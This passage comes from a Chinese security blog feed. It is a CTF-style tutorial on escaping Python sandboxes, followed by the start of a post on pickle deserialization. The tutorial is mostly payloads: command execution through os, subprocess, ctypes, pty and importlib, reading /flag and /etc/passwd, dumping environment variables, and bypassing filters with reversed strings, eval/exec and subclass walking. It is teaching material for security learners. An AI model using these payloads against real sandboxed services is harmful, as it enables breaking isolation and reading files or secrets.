style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 启动 Web 服务，监听 5000 端口</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0.0.0.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5000</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<h1 id=\"命令执行\"><a class=\"anchor\" href=\"#命令执行\">#</a> 命令执行</h1>\n<p>python中可以执行系统命令的有：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>os</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>commands：仅限2.x</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>subprocess</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>timeit：timeit.sys、timeit.timeit(\"__import__('os').system('whoami')\", number=1)</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>platform：platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>pty：pty.spawn('ls')、pty.os</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>bdb：bdb.os、cgi.sys</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>cgi：cgi.os、cgi.sys</span></span>\n<span class=\"line\"><span>...</span></span></code></pre>\n<h2 id=\"os\"><a class=\"anchor\" href=\"#os\">#</a> os</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import os 引入python标准库中的os模块</span></span>\n<span class=\"line\"><span>result=os.popen('cat /flag').read() 执行命令并将命令执行结果塞入到管道中，通过read()转换为字符串赋值给result变量</span></span>\n<span class=\"line\"><span>print(result) 输出命令执行的结果</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>在某些条件下也可以使用：</span></span>\n<span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>os.system('cat /flag')</span></span>\n<span class=\"line\"><span>可能会导致执行shell命令不会返回shell的输出</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/1.png\" class=\"\"></p>\n<h2 id=\"commands\"><a class=\"anchor\" href=\"#commands\">#</a> commands</h2>\n<p>commands命令是python2.x版本下可以使用的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import commands</span></span>\n<span class=\"line\"><span>commands.getstatusoutput(\"ls\") 执行系统命令，并只返回命令的输出结果（字符串）</span></span>\n<span class=\"line\"><span>commands.getoutput(\"ls\") 执行系统命令，并返回一个元组 (Tuple)：(状态码, 输出结果)</span></span>\n<span class=\"line\"><span>commands.getstatus(\"ls\") 执行了 ls -ld 文件名，返回这个文件的权限和属性信息</span></span></code></pre>\n<h2 id=\"ctypes\"><a class=\"anchor\" href=\"#ctypes\">#</a> ctypes</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import ctypes</span></span>\n<span class=\"line\"><span>ctypes.CDLL(None).system('cat /flag'.encode())</span></span>\n<span class=\"line\"><span>上面这串payload同样可以执行成功但是没有回显</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/2.png\" class=\"\"></p>\n<h2 id=\"subprocess\"><a class=\"anchor\" href=\"#subprocess\">#</a> subprocess</h2>\n<p>通过这个模块我们可以更方便看到命令执行的回显内容</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import subprocess 引入Python的子进程管理模块</span></span>\n<span class=\"line\"><span>print(subprocess.getoutput('cat /flag'))</span></span>\n<span class=\"line\"><span>这行代码会开辟一个子进程去启动Linux shell，之后他会将输出端接上管道转换为字符串用print输出出来</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/3.png\" class=\"\"></p>\n<p>除此之外我们可以利用</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import subprocess</span></span>\n<span class=\"line\"><span># capture_output=True 负责把数据截获下来，text=True 负责把字节流转成字符串</span></span>\n<span class=\"line\"><span>result = subprocess.run('cat /flag', shell=True, capture_output=True, text=True)</span></span>\n<span class=\"line\"><span>print(result.stdout)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/4.png\" class=\"\"></p>\n<p>还有：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import subprocess</span></span>\n<span class=\"line\"><span># 1. 启动进程，并强行把它的标准输出 (stdout) 接上一根内部pipe (subprocess.PIPE)</span></span>\n<span class=\"line\"><span>proc = subprocess.Popen('cat /flag', shell=True, stdout=subprocess.PIPE)</span></span>\n<span class=\"line\"><span># 2. 读取pipe里的内容，并解码成字符串</span></span>\n<span class=\"line\"><span># communicate()[0] 是获取标准输出的标准做法，并且它会等待命令执行完毕</span></span>\n<span class=\"line\"><span>result = proc.communicate()[0].decode()</span></span>\n<span class=\"line\"><span>print(result)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/5.png\" class=\"\"></p>\n<h2 id=\"pty\"><a class=\"anchor\" href=\"#pty\">#</a> pty</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import pty</span></span>\n<span class=\"line\"><span>pty.spawn(\"ls\")</span></span></code></pre>\n<p>这种payload直接输入也是没有回显的，除非我们将他输出的字符串写入到其他文件中，并且利用python的文件读取功能：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import pty</span></span>\n<span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>pty.spawn(['/bin/sh', '-c', 'cat /flag > /tmp/1.txt'])</span></span>\n<span class=\"line\"><span>result = open('/tmp/1.txt').read()</span></span>\n<span class=\"line\"><span>print(result)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/6.png\" class=\"\"></p>\n<p>值得注意的是：<code>pty.spawn</code>会将整个字符串当作文件名执行，如果我们传入<code>pty.spawn(&quot;cat /flag&quot;)</code>，那么他就会去寻找<code>cat /flag</code>这个可执行文件，所以我们必须使用列表的形式传给他：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>pty.spawn(['cat', '/flag'])</span></span></code></pre>\n<h2 id=\"timeit\"><a class=\"anchor\" href=\"#timeit\">#</a> timeit</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import timeit</span></span>\n<span class=\"line\"><span>timeit.timeit(\"__import__('os').system('dir')\",number=1)</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import timeit</span></span>\n<span class=\"line\"><span># 让底层 shell 把结果写进 1.txt</span></span>\n<span class=\"line\"><span>timeit.timeit(\"__import__('os').system('cat /flag > 1.txt')\", number=1)</span></span>\n<span class=\"line\"><span>print(open('1.txt').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/7.png\" class=\"\"></p>\n<h2 id=\"platform\"><a class=\"anchor\" href=\"#platform\">#</a> platform</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import platform</span></span>\n<span class=\"line\"><span>print(platform.popen('dir').read())</span></span></code></pre>\n<p>这个和 commands一样也只能用于python2环境</p>\n<h2 id=\"importlib\"><a class=\"anchor\" href=\"#importlib\">#</a> importlib</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import importlib</span></span>\n<span class=\"line\"><span>importlib.import_module('os').system('cat /flag > /tmp/1.txt')</span></span>\n<span class=\"line\"><span>print(open('/tmp/1.txt').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/8.png\" class=\"\"></p>\n<p>或者可以：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import importlib</span></span>\n<span class=\"line\"><span>result = importlib.import_module('os').popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>print(result)</span></span></code></pre>\n<h2 id=\"sys\"><a class=\"anchor\" href=\"#sys\">#</a> sys</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import sys</span></span>\n<span class=\"line\"><span>result=sys.modules['os'].popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>print(result)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/9.png\" class=\"\"></p>\n<p>这里利用的是popen而不是system，是因为用system就不能使用<code>.read()</code>方法</p>\n<h2 id=\"linecache\"><a class=\"anchor\" href=\"#linecache\">#</a> linecache</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import linecache</span></span>\n<span class=\"line\"><span>linecache.os.system('ls')</span></span></code></pre>\n<p>在使用这个之前可以尝试print(dir(linecache))看看该版本的python下有没有os直接属性</p>\n<h1 id=\"读写文件\"><a class=\"anchor\" href=\"#读写文件\">#</a> 读写文件</h1>\n<h2 id=\"file类python2\"><a class=\"anchor\" href=\"#file类python2\">#</a> file类（python2）</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>file('test.txt').read()</span></span></code></pre>\n<h2 id=\"open函数\"><a class=\"anchor\" href=\"#open函数\">#</a> open函数</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>open('/etc/passwd').read()</span></span>\n<span class=\"line\"><span>__builtins__.open('/etc/passwd').read()</span></span>\n<span class=\"line\"><span>__import__(\"builtins\").open('/etc/passwd').read()</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>直接使用这些是没有回显的，所以需要print输出一下</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/10.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/11.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/12.png\" class=\"\"></p>\n<h2 id=\"codecs模块\"><a class=\"anchor\" href=\"#codecs模块\">#</a> codecs模块</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import codecs</span></span>\n<span class=\"line\"><span>print(codecs.open('/flag').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/13.png\" class=\"\"></p>\n<h2 id=\"getline函数\"><a class=\"anchor\" href=\"#getline函数\">#</a> getline函数</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>print(__import__(\"linecache\").getline('/flag',1))</span></span>\n<span class=\"line\"><span>#第二个参数是指定行号</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/15.png\" class=\"\"></p>\n<h2 id=\"getlines函数\"><a class=\"anchor\" href=\"#getlines函数\">#</a> getlines函数</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import linecache</span></span>\n<span class=\"line\"><span>print(linecache.getlines('/flag'))</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>print(__import__(\"linecache\").getlines('/etc/passwd'))</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/16.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/17.png\" class=\"\"></p>\n<h2 id=\"license函数\"><a class=\"anchor\" href=\"#license函数\">#</a> license函数</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>__builtins__.__dict__[\"license\"]._Printer__filenames=[\"/flag\"]</span></span>\n<span class=\"line\"><span>a = __builtins__.help</span></span>\n<span class=\"line\"><span>a.__class__.__enter__ = __builtins__.__dict__[\"license\"]</span></span>\n<span class=\"line\"><span>a.__class__.__exit__ = lambda self, *args: None</span></span>\n<span class=\"line\"><span>with (a as b):</span></span>\n<span class=\"line\"><span>    pass</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/18.png\" class=\"\"></p>\n<h1 id=\"枚举目录\"><a class=\"anchor\" href=\"#枚举目录\">#</a> 枚举目录</h1>\n<h2 id=\"os模块\"><a class=\"anchor\" href=\"#os模块\">#</a> os模块</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>print(os.listdir(\"/\"))</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>print(__import__('os').listdir('/'))</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/14.png\" class=\"\"></p>\n<h2 id=\"glob模块\"><a class=\"anchor\" href=\"#glob模块\">#</a> glob模块</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import glob</span></span>\n<span class=\"line\"><span>print(glob.glob(\"/f*\"))</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>print(__import__('glob').glob(\"/f*\"))</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/19.png\" class=\"\"></p>\n<p>这段payload可以查看根目录下是否存在以<code>f</code>开头的目录或文件</p>\n<h1 id=\"获取环境信息\"><a class=\"anchor\" href=\"#获取环境信息\">#</a> 获取环境信息</h1>\n<h2 id=\"popen\"><a class=\"anchor\" href=\"#popen\">#</a> popen</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>print(os.popen('env').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/20.png\" class=\"\"></p>\n<p>直接<code>env</code>可以查看所有环境变量中的内容，加上<code>grep FLAG</code>就会单独输出这个值</p>\n<h2 id=\"environ\"><a class=\"anchor\" href=\"#environ\">#</a> environ</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>print(os.environ)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/21.png\" class=\"\"></p>\n<h2 id=\"sys模块\"><a class=\"anchor\" href=\"#sys模块\">#</a> sys模块</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>import sys</span></span>\n<span class=\"line\"><span>print(sys.version)</span></span>\n<span class=\"line\"><span>#这串payload可以用来查看python版本</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/22.png\" class=\"\"></p>\n<h1 id=\"一些绕过手段\"><a class=\"anchor\" href=\"#一些绕过手段\">#</a> 一些绕过手段</h1>\n<h2 id=\"拼接绕过\"><a class=\"anchor\" href=\"#拼接绕过\">#</a> 拼接绕过</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>b = 'o'</span></span>\n<span class=\"line\"><span>a = 's'</span></span>\n<span class=\"line\"><span>__import__(b+a).popen('cat /flag').read()</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/23.png\" class=\"\"></p>\n<h2 id=\"利用字符串的变化处理os\"><a class=\"anchor\" href=\"#利用字符串的变化处理os\">#</a> 利用字符串的变化处理os</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>print(__import__('so'[::-1]).popen('cat /flag').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/24.png\" class=\"\"></p>\n<p>还可以利用 <code>eval</code> 或者 <code>exec</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>print(eval(')(daer.)\"galf/ tac\"(nepop.)\"so\"(__tropmi__'[::-1]))</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/25.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>exec('))(daer.)\"galf/ tac\"(nepop.so(tnirp ;so tropmi'[::-1])</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/26.png\" class=\"\"></p>\n<h2 id=\"match-case语法绕过getattr限制\"><a class=\"anchor\" href=\"#match-case语法绕过getattr限制\">#</a> match case语法绕过getattr()限制</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>match object:</span></span>\n<span class=\"line\"><span>    case object(__subclasses__=subclasses):</span></span>\n<span class=\"line\"><span>        print(subclasses())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/29.png\" class=\"\"></p>\n<p>但是<code>match</code>语法也可能在 AST 层面被过滤，即 <code>ast.Match</code></p>\n<h1 id=\"通过继承关系逃逸\"><a class=\"anchor\" href=\"#通过继承关系逃逸\">#</a> 通过继承关系逃逸</h1>\n<p>这里特别像SSTI了，通过一连串的继承关系去找到os或其他执行命令，这里就不过多赘述了，主要给一些语句：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>print([index for index, cls in enumerate(\"\".__class__.__bases__[0].__subclasses__()) if 'os._wrap_close' in str(cls)])</span></span>\n<span class=\"line\"><span>//这个print语句可以查找os_wrap_close在列表的第一个位置</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>print('\\n'.join([f\"[&#123;i&#125;] &#123;c&#125;\" for i, c in enumerate(\"\".__class__.__bases__[0].__subclasses__())]))</span></span>\n<span class=\"line\"><span>//这个print语句可以循环输出object的所有子类并标上序号</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/27.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>[158] &#x3C;class 'os._wrap_close'></span></span></code></pre>\n<p>这里我的os类在158位</p>\n<p><img loading=\"lazy\" src=\"/2026/03/27/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/28.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)</span></span>\n<span class=\"line\"><span>//如果是python2可以用这个</span></span></code></pre>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/",
            "url": "https://zlaryy.top/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/",
            "title": "Pickle反序列化与Python原型链污染",
            "date_published": "2026-03-20T10:03:00.000Z",
            "content_html": "<h1 id=\"pickle反序列化\"><a class=\"anchor\" href=\"#pickle反序列化\">#</a> Pickle反序列化</h1>\n<p>本文参考这两篇：<a href=\"https://goodapple.top/archives/1069\">https://goodapple.top/archives/1069</a></p>\n<p><a href=\"https://blog.csdn.net/m0_73512445/article/details/135156437\">https://blog.csdn.net/m0_73512445/article/details/135156437</a></p>\n<h1 id=\"pickle\"><a class=\"anchor\" href=\"#pickle\">#</a> Pickle</h1>\n<p>在学习pickle反序列化之前先了解一下什么是pickle：</p>\n<p>pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似，Python也提供了序列化和反序列化这一功能，其中一个实现模块就是pickle。在Python中，“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个<strong>二进制字节流</strong>的过程，也就是我们常说的序列化，而 “unpickling” 是相反的操作，会将字节流转化回一个对象层次结构。</p>\n<p>通俗点讲，pickle序列化与反序列化就是数据保存与数据读取</p>\n<p><strong>可序列化对象：</strong><br />\nNone，True 和 False<br />\n整数、浮点数、复数<br />\nstr、byte、bytearray<br />\n只包含可封存对象的集合，包括 tuple(元组)、list、set 和 dict<br />\n定义在模块最外层的函数（使用 def 定义，lambda 函数则不可以）<br />\n定义在模块最外层的内置函数<br />\n定义在模块最外层的类<br />\n<code>__dict__</code>属性值或<code> __getstate__()</code>函数的返回值可以被序列化的类</p>\n<p>在这篇博客[<a href=\"https://goodapple.top/archives/1069\">https://goodapple.top/archives/1069</a>]中我看到了这样一句话：pickle实际上可以看作一种<strong>独立的语言</strong>，通过对<code>opcode</code>的编写可以进行Python代码执行、覆盖变量等操作。直接编写的<code>opcode</code>灵活性比使用pickle序列化生成的代码更高，并且有的代码不能通过pickle序列化得到（pickle解析能力大于pickle生成能力）</p>\n<p>我的理解就是pickle序列化的内容（也就是opcode+operand）可执行范围是有限的，而手动构造的opcode与operand可执行范围就远高于pickle序列化生成的opcode与operand。我们以下面这段代码为例：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> pickle</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span 